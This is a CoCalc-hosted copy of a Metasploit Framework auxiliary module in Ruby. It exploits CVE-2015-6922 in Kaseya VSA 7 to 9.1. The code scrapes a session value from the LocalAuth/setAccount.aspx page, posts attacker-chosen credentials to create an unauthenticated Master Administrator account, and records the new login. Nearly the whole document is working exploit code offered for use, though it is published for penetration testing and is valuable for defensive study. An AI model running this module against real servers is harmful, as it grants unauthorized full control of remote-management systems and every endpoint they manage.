CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/kaseya_master_admin.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Kaseya VSA Master Administrator Account Creation',
15
'Description' => %q{
16
This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
17
Master Administrator account. Normally this page is only accessible via the localhost
18
interface, but the application does nothing to prevent this apart from attempting to
19
force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
20
v9.0.0.3.
21
},
22
'Author' => [
23
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
24
],
25
'License' => MSF_LICENSE,
26
'References' => [
27
['CVE', '2015-6922'],
28
['ZDI', '15-448'],
29
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Kaseya/kaseya-vsa-vuln-2.txt'],
30
['URL', 'https://seclists.org/bugtraq/2015/Sep/132']
31
],
32
'DisclosureDate' => '2015-09-23'
33
)
34
)
35
36
register_options(
37
[
38
OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']),
39
OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']),
40
OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']),
41
OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]'])
42
]
43
)
44
end
45
46
def run
47
res = send_request_cgi({
48
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
49
'method' => 'GET'
50
})
51
52
if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
53
session_val = ::Regexp.last_match(1)
54
else
55
print_error('Failed to get sessionVal')
56
return
57
end
58
59
print_status("Got sessionVal #{session_val}, creating Master Administrator account")
60
61
res = send_request_cgi({
62
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
63
'method' => 'POST',
64
'vars_post' => {
65
'sessionVal' => session_val,
66
'adminName' => datastore['KASEYA_USER'],
67
'NewPassword' => datastore['KASEYA_PASS'],
68
'confirm' => datastore['KASEYA_PASS'],
69
'adminEmail' => datastore['EMAIL'],
70
'setAccount' => 'Create'
71
}
72
})
73
74
unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp')
75
print_error('Master Administrator account creation failed')
76
return
77
end
78
79
print_good("Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")
80
81
connection_details = {
82
module_fullname: fullname,
83
username: datastore['KASEYA_USER'],
84
private_data: datastore['KASEYA_PASS'],
85
private_type: :password,
86
workspace_id: myworkspace_id,
87
access_level: 'Master Administrator',
88
status: Metasploit::Model::Login::Status::UNTRIED
89
}.merge(service_details)
90
create_credential_and_login(connection_details)
91
end
92
end
93
94